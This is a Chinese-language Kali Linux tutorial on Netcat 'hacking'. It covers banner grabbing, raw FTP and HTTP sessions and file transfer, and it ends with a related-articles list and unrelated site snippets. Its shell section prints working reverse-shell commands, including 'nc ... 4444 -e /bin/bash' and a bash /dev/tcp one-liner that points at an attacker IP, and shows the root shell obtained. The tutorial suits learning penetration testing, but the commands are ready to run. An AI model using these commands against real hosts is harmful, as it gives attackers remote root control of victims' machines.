Kali Linux Netcat 学习 与 网络攻击
Netcat 网络攻击 以及 应用
1.用Netcat进行黑客攻击第1部分:基础知识
Netcat是一个很好的网络实用程序,用于使用TCP和UPD协议读取和写入网络连接。Netcat通常被称为网络工具中的瑞士军刀,我们将在使用黑客教程的不同教程中大量使用它。Netcat最常见的用途是设置反向和绑定shell,管道和重定向网络流量,端口侦听,调试程序和脚本以及Banner抓取。在本教程中,我们将学习如何使用Netcat的基本功能,如:
Banner抓取 原始连接 Web服务器交互
1.1 Netcat Banner获取
使用以下命令来获取服务器Banner(与服务建立原始连接):
nc [ip address] [port]
我们来试试这个在21端口运行的Metasploitable 2上的FTP服务:
nc 192.168.1.100 21
nc [ip] [port]用于与端口进行原始连接,当可用时将返回服务器Banner。
code:
rocky@kail: nc 23.105.202.xx 21 # 21 ftp 控制链接
220 (vsFTPd 2.2.2) # 系统服务 banner
1.2 Netcat原连接
为了演示原始连接的工作原理,我们将在FTP服务连接到目标主机后发出一些FTP命令。
在匿名的情况下,我们来看看这个FTP服务器是否允许匿名访问,通过USER和PASS命令。
code:
rocky@kail: nc 23.105.202.xx 21
220 (vsFTPd 2.2.2)
user ligang
331 Please specify the password.
1.3 Web服务器交互
Netcat还可以通过发出HTTP请求与Web服务器进行交互。
通过以下命令,我们可以抓住在Metasploitable 2上运行的Web服务的Banner:
nc 23.105.202.xx 80
然后运行此HTTP请求:
HEAD / HTTP / 1.0
rocky@kail: nc 23.105.202.xx 80
HEAD / HTTP / 1.0 << 输入
HTTP/1.1 400 Bad Request
Server: nginx/1.12.0
Date: Sun, 28 May 2017 08:06:19 GMT
Content-Type: text/html
Content-Length: 173
Connection: close
1.4 使用Netcat进行文件传输
在这个例子中,我们将使用Netcat连接传输一个文本文件。假设我们在目标主机上执行远程命令,我们希望将文件从攻击主机传输到目标主机。首先,我们需要在目标主机上设置一个侦听器,并从攻击主机连接到它。我们将使用端口8080用于此目的,我们将该文件安全保存到桌面:
nc -lvp 8080> 1.txt
在攻击主机上,我们连接到8080端口并发送文件名称transfer.txt:
nc 192.168.100.107 8080 < 1.txt
2 用Netcat进行黑客攻击第2部分:绑定和反向shell
Netcat反向reverse shell
在渗透测试中,最常见,或者最受欢迎的用法是反向 reverse shell和正向bind shell。反向shell是从目标主机发起到处于监听状态的攻击机器的shell连接方式,又叫被动连接,而正向bind shell是攻击主机通过特定的端口进行侦听目标主机即将到来的连接。在恶意软件中,bind shell又通常被称为后门。
在下面的内容中我们将展示使用bind shell和reverse shell。下面将使用4444端口,但请注意,这可以是任何开放端口。实际上,通常您需要使用更常见的端口,如80和443来设置反向shell,因为这些端口是更常见的打开。
NC reverse shell 工作原理:

攻击主机A执行:
nc -lvp 4444 ; 监听被攻击者链接
被攻击主机B执行:
nc xxx.xxx.xxx.xxx 4444 -e /bin/bash ; 将bash shell 权限提供给攻击者 实现控制权限的转移;
实现通信后:
在攻击主机A上执行命令,即可操作被攻击者B
缺点:
此时被攻击者B 需要使用Netcat命令, 而且普通 GNU Linux nc 并没有 -e { -e filename program to exec after connect [dangerous]} 参数; 顾此种反向链接并不适用;
2.1 使用Bash 来代替Nc实现反向链接;
被攻击主机B:
bash -i>& /dev/tcp/23.105.202.xx/4444 0>&1
攻击者A:
nc -lvp 4444
A机代码:
[root@virtualS ~]# nc -lvp 4444
Connection from 111.15.33.114:17835 ## 此时B机执行转移指令 bash -i>& /dev/tcp/23.105.202.xx/4444 0>&1
root@kailvirtual:~#
root@kailvirtual:~#
root@kailvirtual:~#
root@kailvirtual:~#
root@kailvirtual:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@kailvirtual:~#
bash -i>& /dev/tcp/23.105.202.xx/4444 0>&1
命令解释:
bash:
-i if the -i option is present, the shell is interactive
shell:
0/1/2 分别代表Linux标准输入,输出,异常 即 C编程中的 stdin, stdout, stderr
0>&1 指 将标准输入完全输出到标准输出中;
采用&可以将 0/1 绑定在一起。这条命令的作用标准输入将和标准输出同用一个文件描述符,说人话就是错误输入将会和标准输出输出到同一个地方。
2.2 Netcat正向bind Shell
bind shell是一个绑定到目标主机上的特定端口以监听即将到来的连接的shell。我们来看看一个Netcat正向bind shell的原理:

攻击主机A:
rocky@mac: nc 192.168.1.9 4444
id
uid=0(root) gid=0(root) groups=0(root)
echo $HOSTNAME
kailvirtual
相同点:
我们都需要被攻击者将其shell控制权限交给我们
将shell command 以数据流的形式重定向到被攻击主机的Bash shell中;
Kali Linux Netcat 学习 与 网络攻击的更多相关文章
- ApacheCN Kali Linux 译文集 20211020 更新
Kali Linux 秘籍 中文版 第一章 安装和启动Kali 第二章 定制 Kali Linux 第三章 高级测试环境 第四章 信息收集 第五章 漏洞评估 第六章 漏洞利用 第七章 权限提升 第八章 ...
- 学习Kali Linux必须知道的几点
Kali Linux 在渗透测试和白帽子方面是业界领先的 Linux 发行版.默认情况下,该发行版附带了大量入侵和渗透的工具和软件,并且在全世界都得到了广泛认可.即使在那些甚至可能不知道 Linux ...
- kali linux 网络渗透测试学习笔记(一)Nmap工具进行端口扫描
一.利用Nmap扫描网站服务器的端口开放情况 首先打开我们的kali linux才做系统,再打开其命令行模式,输入:nmap www.csdn.net 如下图所示: 因此,通过这个结果可以表明csdn ...
- kali linux学习笔记之系统定制及优化(附:中文输入法设置)
fix update flash plugin on kali rolling author:@kerker 0x00设置软件源 root@kali:~# vim /etc/apt/sources.l ...
- Kali Linux渗透基础知识整理(四):维持访问
Kali Linux渗透基础知识整理系列文章回顾 维持访问 在获得了目标系统的访问权之后,攻击者需要进一步维持这一访问权限.使用木马程序.后门程序和rootkit来达到这一目的.维持访问是一种艺术形式 ...
- Kali Linux——迈向网络攻防
自从进入大三的课程后,在已学的高数.线代.数论.概率论.信息论.通信等知识的技术上,开始了网络信息安全.网 络攻防的学习.俗话说得好,磨刀不误砍柴工,开始网络攻防之旅也势必要一个好的工具.然 ...
- Python黑帽编程1.1虚拟机安装和配置 Kali Linux 2016
Python黑帽编程1.1虚拟机安装和配置 Kali Linux 2016 0.1 本系列教程说明 本系列教程,采用的大纲母本为<Understanding Network Hacks Att ...
- Kali linux渗透测试常用工具汇总1
1.ProxyChains 简介:代理工具.支持HTTP/SOCKS4/SOCK5的代理服务器,允许TCP/DNS通过代理隧道. 应用场景:通过代理服务器上网. 配置:/etc/proxychains ...
- Kali Linux下破解WIFI密码挂载usb无线网卡的方法
Kali Linux下破解WIFI密码挂载usb无线网卡的方法 时间:2014-10-12 来源:服务器之家 投稿:root 首先我要说的是,wifi密码的破解不是想象中的那么容易,目前还 ...
随机推荐
- .NetCore2.1 WebAPI新增Swagger插件
说明 Swagger是一个WebAPI在线注解.调试插件,过去我们主要通过手工撰写WebAPI接口的交互文档供前端开发人员或外部开发者, 官网地址:https://swagger.io/. 但是在实际 ...
- 流式大数据计算实践(7)----Hive安装
一.前言 1.这一文学习使用Hive 二.Hive介绍与安装 Hive介绍:Hive是基于Hadoop的一个数据仓库工具,可以通过HQL语句(类似SQL)来操作HDFS上面的数据,其原理就是将用户写的 ...
- oracle账户登录数据库进行如下操作:
CREATE USER NORTHBOUND IDENTIFIED BY NORTHBOUND DEFAULT TABLESPACE "TBS_DNINMSV31" TEMPORA ...
- windows下Jmeter压力测试工具的安装
JMeter是Apache软件基金会的产品,用于对静态的和动态的资源(文件,Servlet,Perl脚本,Java 对象,数据库和查询,FTP服务器等等)的性能进行测试.是一款很方便的测试软件. 系统 ...
- Vue移动端项目模板
一个集成移动端开发插件的Vue移动端模板包含1.css: 使用stylus开发css 集成reset样式文件 修改UI组件文件 统一样式处理(如主题色等)2.UI组件 使用热门的vant与mint-u ...
- vue的项目结构记录
vue的项目结构 不知道大家有没这样的情况,面对刚配置好的脚手架,创建的文件不知道该放哪个文件下,导致后面开发一些文件不好找,不利于维护. 接下来我说说我项目中的一些文件: 首先是components ...
- splay详解(二)
前言 在上一节中,我们讲述了Splay的核心操作rotate与splay 本节我会教大家如何用这两个函数实现各种强大的功能 为了方便讲解,我们拿这道题做例题来慢慢分析 利用splay实现各种功能 首先 ...
- #WEB安全基础 : HTML/CSS | 0x6嵌套标签(图片链接)
嵌套标签我们已经讲一次了,在0X4.1里,我们把列表嵌套了 你觉得文字链接难看得令人作呕,好,你再也不会有这种感觉了 一如既往,一个html文件和一个存放图片的文件夹 index.html的代码, ...
- Xutils, OKhttp, Volley, Retrofit对比
Xutils这个框架非常全面,可以进行网络请求,可以进行图片加载处理,可以数据储存,还可以对view进行注解,使用这个框架非常方便,但是缺点也是非常明显的,使用这个项目,会导致项目对这个框架依赖非常的 ...
- [aspnetcore.apidoc]一款很不错的api文档生成工具
AspNetCore.ApiDoc 简单徐速一下为什么选用了aspnetcore.apidoc 而没有选用swagger 最初我们也有在试用swagger,但总是有些感觉,感觉有点不满意,就但从api ...